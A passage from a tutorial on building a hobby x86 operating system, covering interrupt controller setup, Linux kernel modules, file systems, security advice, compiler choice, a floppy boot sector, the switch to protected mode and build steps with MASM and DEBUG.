jmp $+2

MOV AL,20h

OUT PICU1+1,AL ;ICW2 ‑ MASTER

jmp $+2

jmp $+2

MOV AL,28h

OUT PICU2+1,AL ;ICW2 ‑ SLAVE

jmp $+2

jmp $+2

MOV AL,00000100b

OUT PICU1+1,AL ;ICW3 ‑ MASTER

jmp $+2

jmp $+2

MOV AL,00000010b

OUT PICU2+1,AL ;ICW3 ‑ SLAVE

jmp $+2

jmp $+2

MOV AL,00000001b

OUT PICU1+1,AL ;ICW4 ‑ MASTER

jmp $+2

jmp $+2

OUT PICU2+1,AL ;ICW4 ‑ SLAVE

jmp $+2

jmp $+2

MOV AL,11111010b;Masked all but cascade/timer

;MOV AL,01000000b;Floppy masked

OUT PICU1+1,AL ;MASK ‑ MASTER (0= Ints ON)

jmp $+2

jmp $+2

MOV AL,11111111b

;MOV AL,00000000b

OUT PICU2+1,AL ;MASK ‑ SLAVE

jmp $+2

jmp $+2

RETN

SET8259ENDP

;=======================================

Note how Burgess performs two NEAR jumps after each OUT instruction. This is to give the PIC time to process the command.

Writing a driver can be a harrowing experience. This is because drivers are nothing less than official members of the kernel memory image. When you build a driver, you are building a part of the OS. This means that if you incorrectly implement a driver, you could be dooming your system to a crash of the worst kind ... death by friendly fire.

Building drivers is also fraught with all sorts of vendor‑specific byte encoding and bit wise acrobatics. The best advise that I can give you is to stick to widely‑used, commodity, hardware. Once you have a working console, you can attempt to communicate with a disk drive and then maybe a network card.

You might want to consider designing your OS so that drivers can be loaded and unloaded at runtime. Having to recompile the kernel to accommodate a single driver is a pain. This will confront you with creating an indirect calling mechanism so that the OS can invoke the driver, even though it does not know in advance where that driver is.

The Linux kernel allows code to be added to the kernel at runtime via loadable kernel modules (LKMs). These dynamically loadable modules are nothing more than ELF object files ( they've been compiled, but not officially linked ). There are a number of utilities that can be used to manage LKMs. Two of the most common are insmod and rmmod, which are used to insert and remove LKMs at runtime.

The insmod utility acts as a linker/loader and assimilates the LKM into the kernel's memory image. Insmod does this by invoking the init_module system call. This is located in /usr/src/linux/kernel/module.c.

asmlinkage long

sys_init_module(const char *name_user, struct module *mod_user){ ...

This function, in turn, invokes another function belonging to the LKM which also just happens to be named init_module(). Here is a the relevant snippet from sys_init_module():

/* Initialize the module. */

atomic_set(&mod‑>uc.usecount,1);

mod‑>flags |= MOD_INITIALIZING;

if (mod‑>init && (error = mod‑>init()) != 0)

{

atomic_set(&mod‑>uc.usecount,0);

mod‑>flags &= ~MOD_INITIALIZING;

if (error > 0)/* Buggy module */

error = ‑EBUSY;

goto err0;

}

atomic_dec(&mod‑>uc.usecount);

The LKM's init_module() function, which is pointed to by the kernel code above, then invokes a kernel routine to register the LKMs subroutines. Here is a simple example:

/* Initialize the module ‑ Register the character device */

int init_module()

{

/* Register the character device (atleast try) */

Major = module_register_chrdev(0,

DEVICE_NAME,

&Fops);

/* Negative values signify an error */

if (Major < 0)

{

printk ("%s device failed with %d\n", "Sorry, registering the character", Major);

return Major;

}

printk ("%s The major device number is %d.\n", "Registeration is a success.", Major);

printk ("If you want to talk to the device driver,\n"); printk ("you'll have to create a device file. \n");

printk ("We suggest you use:\n");

printk ("mknod <name> c %d <minor>\n", Major);

printk ("You can try different minor numbers %s", "and see what happens.\n");

return 0;

}

The Unix OS, in an attempt to simply things, treats every device like a file. This is done in order to keep the number of system calls down and to offer a uniform interface from one hardware subsystem to the next. This is an approach worth considering. However, on the other hand, the Unix approach have not always gotten a good grade in terms of ease of use. Specifically, I have heard complaints about mounting and un‑mounting from Windows users who migrate to Unix.

Note, If you do take the LKM route, you should be careful not to make the loadable driver feature into a security flaw.

With regard to nuts‑and‑bolts details, for the Intel platform, I would recommend Frank Van Gilluwe's book. If you are not targeting Intel, then you have some real digging to do. Get on the phone and the internet and contact your hardware vendors.

‑‑[ 2.4 ‑ File System

You now have processes, in memory, that can talk to the outside world. The final step is to give them a way of persisting and organizing data.

In general, you will build the file system manager on top of the disk drivers that you implemented earlier in the last step. If your OS is managing an embedded system, you may not need to implement a file system because no disk hardware exists. Even with embedded systems, though, I've seen file systems implemented as RAM disks. Even embedded systems sometimes need to produce and store log files ....

There are several documented files system specifications available to the public, like the ext2 file system made famous by Linux. Here is the main link for the ext2 implementation:

http://e2fsprogs.sourceforge.net/ext2.html

The documentation at this site should be sufficient to get you started. In particular, there is a document named "Design and Implementation of the Second Extended File System" which I found to be a well‑rounded introduction to ext2.

If you have the Linux kernel source and you want to take a look at the basic data structures of the ext2fs, then look in:

/usr/src/linux/include/linux/ext2_fs.h /usr/src/linux/include/linux/ext2_fs_i.h

To take a look at the functions that manipulate these data structures, take a look in the following directory:

/usr/src/linux/fs/ext2

In this directory you will see code like:

#include <linux/module.h>

MODULE_AUTHOR("Remy Card and others"); MODULE_DESCRIPTION("Second Extended Filesystem"); MODULE_LICENSE("GPL");

in inode.c, and in super.c you will see:

EXPORT_NO_SYMBOLS;

module_init(init_ext2_fs)

module_exit(exit_ext2_fs)

Obviously, from the previous discussion, you should realize that support for ext2fs can be provided by an LKM!

Some OS creators, like Burgess, go the way of the MS‑DOS FAT file system, for the sake of simplicity, and so they didn't have to reformat their hard drives. I wouldn't recommend the FAT system. In general, you might want to keep in mind that it is a good idea to implement a file system which facilitates file ownership and access controls. More on this in the next section ...

‑‑[ 2.5 ‑ Notes On Security

Complexity is the enemy of security. Simple procedures are easy to check and police, complicated ones are not. Any certified accountant will tell you that our Byzantine tax laws leave all sorts of room for abuse.

Software is the same way. Complicated source code has the potential to provide all sorts of insidious places for bugs to hide. As operating systems have evolved they have become more complicated. According to testimony given by a Microsoft executive on Feb. 2, 1999, Windows 98 consists of over 18 million lines of code. Do you think there is a bug in there somewhere? Oh, ... no ... Microsoft wouldn't sell buggy code ...

<picture Dr. Evil, a la Austin Powers, saying the previous sentence>

Security is not something that you want to add on to your OS when you are almost done with it. Security should be an innate part of your system's normal operation. Keep this in mind during every phase of construction, from task management to the file system manager.

In addition, you might consider having a creditable third party perform an independent audit of your security mechanisms before you proclaim your OS as being 'secure.' For example, the NSA evaluates 'trusted' operating systems on a scale from C2 to A1.

A 'trusted' OS is just an OS which has security policies in place. The salient characteristic of a trusted system is the ranking which the NSA gives it. A C2 trusted system has only limited access and authentication controls. An A1 trusted system, at the other end of the spectrum, has rigorous and mandatory security mechanisms.

People who have imaginary enemies are called 'paranoid.' People who have enemies that they think are imaginary are called 'victims.' It's often hard to tell the two apart until its too late. If I had to trust my business to an OS, I would prefer to invest in one that errs on the side of paranoia.

‑‑[ 3 ‑ Simple Case Study

In this section, I present you with some home‑brewed system code in an effort to highlight some of the issues that I talked about in Part 1.

‑‑[ 3.1 ‑ Host Platform

For a number of reasons, I decided to take a shortcut and create an OS that runs on Intel 8x86 hardware. Cost was one salient issue, and so was the fact that there are several potential host operating systems to choose from ( Linux, OpenBSD, MMURTL, Windows, etc. ).

The primary benefit, however, is that I can avoid ( to an extent ) having to build a cross‑compiler and simulator from scratch. By having the host and target systems run on the same hardware, I was able to take advantage of existing tools that generated x86 binaries and emulated x86 hardware.

For the sake of appealing to the least common denominator, I decided to use Windows as a host OS. Windows, regardless of its failings, happens to be have the largest base of users. Almost anyone should be able to follow the issues and ideas I discuss in Part 3.

One side benefit of choosing Windows is that it ships with its own simulator. The DOS Virtual Machine subsystem is basically a crudely implemented 8086 simulator. I say 'crude' because it doesn't have the number or range of features that bochs provides. I actually tested a lot of code within the confines of the DOS VM.

‑‑[ 3.2 ‑ Compiler Issues

There are dozens of C compilers that run on Windows. I ended up having three requirements for choosing one:

i‑generates raw binary ( i.e. MS .COM file )

ii‑allow for special in‑line instructions (i.e. INT, LGDT )

iii‑is free

Intel PCs boot into real‑mode, which means that I will need to start the party with a 16‑bit compiler. In addition, system code must be raw binary so that runtime address fix ups do not have to be manually implemented. This is not mandatory, but it would make life much easier.

The only commercial compilers that generated 16‑bit, raw binary, files passed out of fashion years ago ... so I had to do some searching.

After trolling the net for compilers, I ended up with the following matrix:

compilerdecisionreason

‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑

TurboCNOin‑line assembly requires TASM ($$$)

Micro‑CYESgenerates MASM friendly output

PacificC NOdoes not support tiny MM (i.e. .COM) Borland 4.5C++ NO costs $$$

VisualC++ 1.52 NOcosts $$$

WatcomNOdoes not support tiny MM (i.e. .COM)

DJGPPNOAT&T assembler syntax ( yuck )

I Ended up working with Micro‑C, even though it does not support the entire ANSI standard. The output of Micro‑C is assembler and can be fed to MASM without to much trouble. Micro‑C was created by Dave Dunfield and can be found at:

ftp://ftp.dunfield.com/mc321pc.zip

Don't worry about the MASM dependency. You can now get MASM 6.1 for free as a part of the Windows DDK. See the following URL for details:

http://www.microsoft.com/ddk/download/98/BINS_DDK.EXE

http://download.microsoft.com/download/vc15/Update/1/WIN98/EN‑US/Lnk563.exe

The only downside to obtaining this 'free' version of MASM ( i.e. the ML.EXE,ML.err, and LINK.EXE files ) is that they come with zero documents.

Ha ha, the internet to the rescue ....

http://webster.cs.ucr.edu/Page_TechDocs/MASMDoc

By using Micro‑C, I am following the advice I gave in Part 1 and sticking to the tools that I am skilled with. I grew up using MASM and TASM. I am comfortable using them at the command line and reading their listing files. Because MASM is the free tool I picked it over TASM, even if it is a little buggy.

One problem with using most C compilers to create OS code is that they all add formatting information to the executable files they generate. For example, the current version of Visual C++ creates console binaries that obey the Portable Executable (PE) file format. This extra formatting is used by the OS program loader at runtime.

Compilers also tack on library code to their executables, even when they don't need it.

Consider a text file named file.c consisting of the code:

void main(){}

I am going to compile this code as a .COM file using TurboC. Take a look at the size of the object file and final binary.

C:\DOCS\OS\lab\testTCC>tcc ‑mt ‑lt ‑ln file.c C:\DOCS\OS\lab\testTCC>dir

. <DIR> 03‑29‑02 9:26p .

.. <DIR> 03‑29‑02 9:26p ..

FILE C 19 03‑30‑02 12:07a file.c

FILE OBJ 184 03‑30‑02 12:09a FILE.OBJ

FILE COM 1,742 03‑30‑02 12:09a file.com

Holy smokes... there's a mother load of ballast that the compiler adds on. This is strictly the doing of the compiler and linker. Those bastards!

To see how excessive this actually is, let's look at a .COM file which is coded in assembler. For example, let's create a file.asm that looks like:

CSEG SEGMENT

start:

ADD ax,ax

ADD ax,cx

CSEG ENDS

end start

We can assemble this with MASM

C:\DOCS\OS\lab\testTCC>ml /AT file.asm C:\DOCS\OS\lab\testTCC>dir

. <DIR> 03‑29‑02 9:26p .

.. <DIR> 03‑29‑02 9:26p ..

FILE OBJ 53 03‑30‑02 12:27a file.obj

FILE ASM 67 03‑30‑02 12:27a file.asm

FILE COM 4 03‑30‑02 12:27a file.com

5 file(s) 187 bytes

2 dir(s) 7,463.23 MB free

As you can see, the executable is only 4 bytes in size! The assembler didn't add anything, unlike the C compiler, which threw in everything but the kitchen sink. In all likelihood, the extra space is probably taken up by libraries which the linker appends on.

The painful truth is, unless you want to build your own backend to a C compiler, you will be faced with extra code and data on your OS binary. One solution is simply to ignore the additional bytes. Which is to say that the OS boot loader will simply skip the formatting stuff and go right for the code which you wrote. If you decide to take this route, you might want to look at a hex dump of your binary to determine the file offset at which your code begins.

I escaped dealing with this problem because Micro‑C's C compiler (MCC) spits out an assembly file instead of object code. This provided me with the opportunity to tweak and remove any extra junk before it gets a chance to find its way into the executable.

However, I still had problems...

For example, the MCC compiler would always add extra segments and place program elements in them. Variables translated to assembler would always be prefixed with these unwanted segments (i.e. OFFSET DGRP:_var ).

Take the program:

char arr[]={'d','e','v','m','a','n','\0'};

void main(){}

MCC will process this file and spit out:

DGRP GROUP DSEG,BSEG

DSEG SEGMENT BYTE PUBLIC 'IDATA'

DSEG ENDS

BSEG SEGMENT BYTE PUBLIC 'UDATA'

BSEG ENDS

CSEG SEGMENT BYTE PUBLIC 'CODE'

ASSUME CS:CSEG, DS:DGRP, SS:DGRP

EXTRN ?eq:NEAR,?ne:NEAR,?lt:NEAR,?le:NEAR,?gt:NEAR

EXTRN ?ge:NEAR,?ult:NEAR,?ule:NEAR,?ugt:NEAR,?uge:NEAR

EXTRN ?not:NEAR,?switch:NEAR,?temp:WORD

CSEG ENDS

DSEG SEGMENT

PUBLIC _arr

_arr DB 100,101,118,109,97,110,0

DSEG ENDS

CSEG SEGMENT

PUBLIC _main

_main: PUSH BP

MOV BP,SP

POP BP

RET

CSEG ENDS

END

Rather than re‑work the backend of the compiler, I implemented a more immediate solution by creating a hasty post‑processor. The alternative would have been to manually adjust each assembly file that MCC produced, and that was just too much work.

The following program ( convert.c ) creates a skeleton .COM program of the form:

.486

CSEG SEGMENT BYTE USE16 PUBLIC 'CODE'

ORG 100H ; for DOS PSP only, strip and start OS on 0x0000 offset

here:

JMP _main

; ‑‑> add stuff here <‑‑‑‑

EXTRN ?eq:NEAR,?ne:NEAR,?lt:NEAR,?le:NEAR,?gt:NEAR

EXTRN ?ge:NEAR,?ult:NEAR,?ule:NEAR,?ugt:NEAR,?uge:NEAR

EXTRN ?not:NEAR,?switch:NEAR,?temp:WORD

CSEG ENDS

END here

It then picks out the procedures and data elements in the original assembly program and places them in the body of the skeleton. Here is the somewhat awkward, but effective program that performed this task:

/* convert.c‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#include<stdio.h>

#include<string.h>

/* read a line from fptr, place in buff */

int getNextLine(FILE *fptr,char *buff)

{

int i=0;

int ch;

ch = fgetc(fptr);

if(ch==EOF){ buff[0]='\0'; return(0); }

while((ch=='\n')||(ch=='\r')||(ch=='\t')||(ch==' '))

{

ch = fgetc(fptr);

if(ch==EOF){ buff[0]='\0'; return(0); }

}

while((ch!='\n')&&(ch!='\r'))

{

if(ch!=EOF){ buff[i]=(char)ch; i++; }

else

{

buff[i]='\0';

return(0);

}

ch = fgetc(fptr);

}

buff[i]='\r';i++;

buff[i]='\n';i++;

buff[i]='\0';

return(1);

}/*end getNextLine*/

/* changes DGRP:_variable to CSEG:_variable */

void swipeDGRP(char *buff)

{

int i;

i=0;

while(buff[i]!='\0')

{

if((buff[i]=='D')&&

(buff[i+1]=='G')&&

(buff[i+2]=='R')&&

(buff[i+3]=='P'))

{

buff[i]='C';buff[i+1]='S';buff[i+2]='E';buff[i+3]='G';

}

if((buff[i]=='B')&&

(buff[i+1]=='G')&&

(buff[i+2]=='R')&&

(buff[i+3]=='P'))

{

buff[i]='C';buff[i+1]='S';buff[i+2]='E';buff[i+3]='G';

}

i++;

}

return;

}/*end swipeDGRP*/

void main(int argc, char *argv[])

{

FILE *fin;

FILE *fout;

/*MASM allows lines to be 512 chars long, so have upper bound*/

char buffer[512];

char write=0;

fin = fopen(argv[1],"rb");

printf("Opening %s\n",argv[1]);

fout = fopen("os.asm","wb");

fprintf(fout,".486P ; enable 80486 instructions\r\n"); fprintf(fout,"CSEG SEGMENT BYTE USE16 PUBLIC \'CODE\'\r\n"); fprintf(fout,";\'USE16\' forces 16‑bit offset addresses\r\n"); fprintf(fout,"ASSUME CS:CSEG, DS:CSEG, SS:CSEG\r\n"); fprintf(fout,"ORG 100H\r\n");

fprintf(fout,"here:\r\n");

fprintf(fout,"JMP _main\r\n\r\n");

fprintf(fout,"EXTRN ?eq:NEAR,?ne:NEAR,?lt:NEAR,?le:NEAR,?gt:NEAR\r\n"); fprintf(fout,"EXTRN ?ge:NEAR,?ult:NEAR,?ule:NEAR,?ugt:NEAR,?uge:NEAR\r\n"); fprintf(fout,"EXTRN ?not:NEAR,?switch:NEAR,?temp:WORD\r\n\r\n");

while(getNextLine(fin,buffer))

{

if((buffer[0]=='P')&&

(buffer[1]=='U')&&

(buffer[2]=='B')&&

(buffer[3]=='L')&&

(buffer[4]=='I')&&

(buffer[5]=='C')){ fprintf(fout,"\r\n"); write=1;}

if((buffer[0]=='D')&&

(buffer[1]=='S')&&

(buffer[2]=='E')&&

(buffer[3]=='G')){ write=0;}

if((buffer[0]=='B')&&

(buffer[1]=='S')&&

(buffer[2]=='E')&&

(buffer[3]=='G')){ write=0;}

if((buffer[0]=='R')&&

(buffer[1]=='E')&&

(buffer[2]=='T')){ fprintf(fout,"%s",buffer); write=0;}

if(write)

{

swipeDGRP(buffer);

fprintf(fout,"%s",buffer);

}

buffer[0]='\0';

}

fprintf(fout,"CSEG ENDS\r\n");

fprintf(fout,"END here\r\n");

fclose(fin);

fclose(fout);

return;

}/*end main‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 3.3 ‑ Booting Up

In the following discussion, I'm going to discuss booting from a floppy disk. Booting from a hard drive, CD‑ROM, or other storage device is typically a lot more complicated due to partitioning and device formatting.

OK, the first thing I'm going to do is build a boot program. This program has to be small. In fact, it has to be less than 512 bytes in size because it has to fit on the very first logical sector of the floppy disk. Most 1.44 floppy disks have 80 tracks per side and 18 sectors per track. The BIOS labels the two sides ( 0,1 ), tracks 0‑79, and sectors 1‑18.

When an Intel machine boots, the BIOS firmware (which resides in a ROM chip on the motherboard) will look for a bootable storage device. The order in which it does so can be configured on most machines via a BIOS startup menu system. If the BIOS finds a boot diskette, it will read the diskettes boot sector (Track 0, Side 0 and Sector 1) into memory and execute the boot sector code. Some times this code will do nothing more than print a message to the screen:

Not a boot disk, you are hosed.

All 8x86 machines start in real‑mode, and the boot sector is loaded into memory at the address 0000[0]:7C00 ( or 0x07C00 ) using hexadecimal. Once this occurs, the BIOS washes its hands of the booting procedure and we are left to our own devices.

Many operating systems will have the boot sector load a larger boot program, which then loads the OS proper. This is known as a multi‑stage boot. Large operating systems that have a lot of things to set up, a complicated file structure, and flexible configuration, will utilize a multi‑stage boot loader. A classic example of this is GNU's GRand Unified Bootloader ( GRUB ).

http://www.gnu.org/software/grub

As usual, I am going to take the path of least resistance. I am going to have the boot sector directly load my system code. The boot sector assumes that the system code will be located directly after the boot sector (track 0, side, 0, sector 2 ). This will save me from including special data and instructions to read a file system. Finally, because of size constraints, all the code in this section will be written in assembler.

The boot code follows:

;‑boot.asm‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.8086

CSEG SEGMENT

start:

; step 1) load the OS on floppy

; to location above the

; existing interrupt table (0‑3FF)

; and BIOS data region (400‑7FF)

MOV AH,02H ; read command

MOV AL,10H ; 16 sectors = 8KB of storage to load

MOV CH,0H ; low 8 bits of track number

MOV CL,2H ; sector start ( right after boot sector )

MOV DH,0H ; side

MOV DL,0H ; drive

MOV BX,CS

MOV ES,BX ; segment to load code

MOV BX,0H

MOV BX,800H ; offset to load code ( after IVT )

INT 13H

; signal that code was loaded and we are going to jump

MOV AH,0EH

MOV AL,'‑'

INT 10H

MOV AH,0EH

MOV AL,'J'

INT 10H

MOV AH,0EH

MOV AL,'M'

INT 10H

MOV AH,0EH

MOV AL,'P'

INT 10H

MOV AH,0EH

MOV AL,'‑'

INT 10H

; step 2) jump to the OS

; bonzai!!!

JMP BX

CSEG ENDS

END start

;‑end file‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This boot loader also assumes that the system code to be loaded lies in sectors 2‑17 on the first track. As the OS gets bigger ( beyond 8K ), extra instructions will be needed to load the additional code. But for now lets assume that the code will be less than 8K in size.

OK, you should build the above code as a .COM file and burn it on to the boot sector. The boot.asm file is assembled via:

C:\> ML /AT boot.asm

How do you do burn it on to the floppy disk's boot sector?

Ah ha! Debug to the rescue. Note, for big jobs I would recommend rawrite. This is such a small job that debug will suffice. Not to mention, I have nostalgic feeling about debug. I assembled my first program with it; back in the 1980s when parachute pants were in.

Assuming the boot code has been assembled to a file named boot.COM, here is how you would write it to the boot sector of a floppy disk.

C:\DOCS\OS\lab\bsector>debug showmsg.com

‑l

‑w cs:0100 0 0 1

‑q

C:\DOCS\OS\lab\bsector>

The 'l' command loads the file to memory starting at CS:0100 hex. The 'w' command writes this memory to disk A ( 0 ) starting at sector 0 and writing a single sector. The 'w' command has the general form:

w address drive start‑sector #‑sectors

Note, DOS sees logical sectors ( which start with 0 ), whereas physical (BIOS manipulated) sectors always start with 1.

If you want to test this whole procedure, assemble the following program as a .COM file and burn it on to the boot sector of a diskette with debug.

.486

CSEG SEGMENT

start:

MOV AH,0EH

MOV AL,'‑'

INT 10H

MOV AH,0EH

MOV AL,'h'

INT 10H

MOV AH,0EH

MOV AL,'i'

INT 10H

MOV AH,0EH

MOV AL,'‑'

INT 10H

lp LABEL NEAR

JMP lp

CSEG ENDS

END start

This will print '‑hi‑' to the console and then loop. It's a nice way to break the ice and build your confidence. Especially if you've never manually meddled with disk sectors.

‑‑[ 3.4 ‑ Initializing The OS

The boot sector loads the system code binary into memory and then sets CS and IP to the first ( lowest ) byte of the code's instructions. My system code doesn't do anything more than print a few messages and then jump to protected mode. Execution ends in an infinite loop.

I wrote the program using real‑mode instructions. Intel machines all start up in real‑mode. It is the responsibility of this initial code to push the computer into protected memory mode. Once in protected mode, the OS will adjust its segment registers, set up a stack, and establish an execution environment for applications ( process table, drivers, etc.).

This made life difficult because if I could only go so far using real‑mode instructions and registers. Eventually, I would need to use the extended registers (i.e. EAX ) to access memory higher up.

Some compilers won't accept a mixture of 16‑bit and 32‑bit instructions, or they get persnickety and encode instructions incorrectly. If you look at the FAR JMP that I make at the end of setUpMemory(), you'll notice that I had to code it manually.

My situation was even more tenuous because I was fitting everything into a single segment. Once I had made the translation to protected mode, there wasn't that much that I could do that was very interesting.

One solution would be to convert my 16‑bit system code into the second phase of a multi‑stage boot process. In other words, have the system code, which was loaded by the boat sector, load a 32‑bit binary into memory before it makes the transition to protected mode. When the FAR JMP is executed, it could send execution to the 32‑bit code ... which could then take matters from there. If you look at MMURTL, you will see that this is exactly what Burgess does. Doh! I just wish I had known sooner.

I was excited initially by the thought of being able to leverage the MicroC compiler. However, as you will see, most of the set up work was done via in‑line assembly. Only small portions were pure C. This is the nature of initializing an OS. Key memory and task management functions are anchored directly to the hardware, and the best that you can hope for is to bury the assembly code deep in the bowels of the OS and wrap everything in C.

Here is the system code (os.c), in all its glory:

/* os.c ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

void printBiosCh(ch)

char ch;

{

/*

ch = BP + savedBP + retaddress = BP + 4 bytes

*/

asm "MOV AH,0EH";

asm "MOV AL,+4[BP]";

asm "INT 10H";

return;

}/*end printBiosCh‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*

void printBiosStr(cptr,n)

char* cptr;

int n;

{

int i;

for(i=0;i<n;i++){ printBiosCh(cptr[i]); }

return;

}/*end printBiosStr‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*/

void setUpMemory()

{

/*going to protected mode is an 6‑step dance*/

/* step 1) build GDT ( see GDT table in function below )*/

printBiosCh('1');

/*

step 2) disable interrupts so we can work undisturbed

( note, once we issue CLI, we cannot use BIOS interrupts

to print data to the screen )

*/

printBiosCh('2');

asm "CLI";

/*

step 3) enable A20 address line via keyboard controller 60H = status port, 64H = control port on 8042

*/

asm "MOV AL,0D1H";

asm "OUT 64H,AL";

asm "MOV AL,0DFH";

asm "OUT 60H,AL";

/*

step 4) execute LGDT instruction to load GDTR with GDT info recall GDTR = 48‑bits

= [32‑bit base address][16‑bit limit] HI‑bit LO‑bit

*/

asm "JMP overRdata";

asm "gdtr_stuff:";

asm "gdt_limit DW 0C0H";

asm "gdt_base DD 0H";

asm "overRdata:";

/*

copy GDT to 0000[0]:0000 ( linear address is 00000000H ) makes life easier, so don't have to modify gdt_base

REP MOVSB moves DS:[SI] to ES:[DI] until CX=0

*/

asm "MOV AX,OFFSET CS:nullDescriptor";

asm "MOV SI,AX";

asm "MOV AX,0";

asm "MOV ES,AX";

asm "MOV DI,0H";

asm "MOV CX,0C0H";

asm "REP MOVSB";

asm "LGDT FWORD PTR gdtr_stuff";

/* step 5) set first bit in CR0, protected mode bit*/

asm "smsw ax";

asm "or al,1";

asm "lmsw ax";

/*

step 6) perform a manually coded FAR JUMP

( MASM would encode it incorrectly in 'USE16' mode )

*/

asm "DB 66H";

asm "DB 67H";

asm "DB 0EAH";

asm "DW OFFSET _loadshell";

asm "DW 8H";

/* end of the line, infinite loop */

asm "_loadshell:";

asm "NOP";

asm "JMP _loadShell";

return;

}/*end setUpMemory‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*

/* our GDT has 3 descriptor (null,code,data)*/

void GDT()

{

/*

end up treating the function body as data

( can treat code as data as long as we don't execute it ;‑)) */

asm "nullDescriptor:";

asm "NDlimit0_15dw0; seg. limit";

asm "NDbaseAddr0_15dw0; base address";

asm "NDbaseAddr16_23db0; base address";

asm "NDflagsdb0; segment type and flags";

asm "NDlimit_flagsdb0; segment limit and flags";

asm "NDbaseAddr24_31db0; final 8 bits of base address";

asm "codeDescriptor:";

asm "CDlimit0_15dw0FFFFH";

asm "CDbaseAddr0_15dw0";

asm "CDbaseAddr16_23db0";

asm "CDflagsdb9AH";

asm "CDlimit_flagsdb0CFH";

asm "CDbaseAddr24_31db0";

asm "dataDescriptor:";

asm "DDlimit0_15dw0FFFFH";

asm "DDbaseAddr0_15dw0";

asm "DDbaseAddr16_23db0";

asm "DDflagsdb92H";

asm "DDlimit_flagsdb0CFH";

asm "DDbaseAddr24_31db0";

return;

}/*end GDT‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

char startStr[7] = {'S','t','a','r','t','\n','\r'};

char startMemStr[10] = {'I','n','i','t',' ','m','e','m','\n','\r'}; char tstack[128];

void main()

{

/*set up temp real‑mode stack*/

asm "MOV AX,CS";

asm "MOV SS,AX";

asm "MOV AX, OFFSET CSEG:_tstack";

asm "ADD AX,80H";

asm "MOV SP,AX";

/*successfully made JMP to OS from boot loader*/

printBiosStr(startStr,7);

/*set up Basic Protected Mode*/

printBiosStr(startMemStr,10);

setUpMemory();

return;

}/*end main‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 3.5 ‑ Building and Deploying

Because the OS was written in C and in‑line assembler, the build process involved three distinct steps. First, I compiled my system code to assembly with:

mcp os.c | mcc > osPre.asm

Note, mcp is Micro‑C's pre‑processor.

Chuck it all in one 16‑bit segment:

convert osPre.asm

Once I had an .ASM file in my hands, I assembled it:

ML /Fllist.txt /AT /Zm ‑c osPre.asm

Note how I've had to use the /Zm option so that I can assemble code that obeys conventions intended for earlier versions of MASM. This step is typically where the problems occurred. Needless to say, I became tired of fixing up segment prefixes rather quickly and that is what led me to write convert.c.

Finally, after a few tears, I linked the OS object file to one of Micro‑C's object files.

LINK os.obj PC86RL_T.OBJ /TINY

If you look back at convert.c, you'll see a whole load of EXTRN directives. All of these imported symbols are math libraries that are located in the PC86RL_T.OBJ file.

If you have a copy of NASM on your machine, you can verify your work with the following command:

ndisasmw ‑b 16 os.com

This will dump a disassembled version of the code to the screen. If you want a more permanent artifact, then use the listing file option when you invoke ML.EXE:

ML /AT /Zm /Fl ‑c os.asm

Once you have the OS and boot sector code built. You should burn them on to the boot floppy. You can do so with the DOS debug utility.

C:\DOCS\OS\lab\final>debug boot.com

‑l

‑w cs:0100 0 0 1

‑q

C:\DOCS\OS\lab\final>debug os.com

‑l

‑w cs:0100 0 1 2

‑q

After that, you just boot with the floppy disk and hang on!

I hope this article gave you some ideas to experiment with. Good luck and have fun.

"Contrasting this modest effort [of Seymour Cray in his laboratory to build the CDC 6600] with 34 people including the janitor with our vast development activities, I fail to understand why we have lost our industry leadership position by letting someone else offer the world's most powerful computer."

‑Thomas J. Watson, IBM President, 1965

"It seems Mr. Watson has answered his own question."

‑Seymour Cray

‑‑[ 4 ‑ References and Credits

[1] Operating Systems: Design And Implementation,

Andrew S. Tanenbaum, Prentice Hall, ISBN: 0136386776

This book explains how the Minix operating system functions. Linux was originally Linus's attempt at creating a production quality version of Minix. Minix is an Intel OS.

[2] MMURTL V1.0, Richard A. Burgess, Sensory Publishing, ISBN: 1588530000 MMURTL is another Intel OS. Unlike Tanenbaum, Burgess dives into more sophisticated topics, like memory paging. Another thing I admire about Burgess is that he'll answer your e‑mail without getting snooty like Tanenbaum. If Minix gave birth to Linux, then MMURTL may also be reincarnated as the next big thing.

[3] Dissecting DOS, Michael Podanoffsky, Addison‑Wesley Pub, ISBN: 020162687X

In this book, Podanoffsky describes a DOS clone named RxDOS. RxDOS is presented as a real‑mode OS and is written entirely in assembly code.

[4] FreeDOS Kernel, Pat Villani, CMP Books, ISBN: 0879304367 Another DOS clone ... but this one is written in C, whew!

[5] Virtual Machine Design and Implementation In C/C++, Bill Blunden, Wordware Publishing, ISBN: 1556229038

Yes, it's time for the self‑plug. Writing a VM is really only a hop, skip, and a jump, from writing a simulator. My book presents all the information in this article and a whole lot more. This includes a complete virtual machine, assembler, and debugger.

[6] Linux Core Kernel Commentary, 2nd Edition, Scott Andrew Maxwell, The Coriolis Group; ISBN: 1588801497

This is an annotated stroll through the task and memory management source code of Linux.

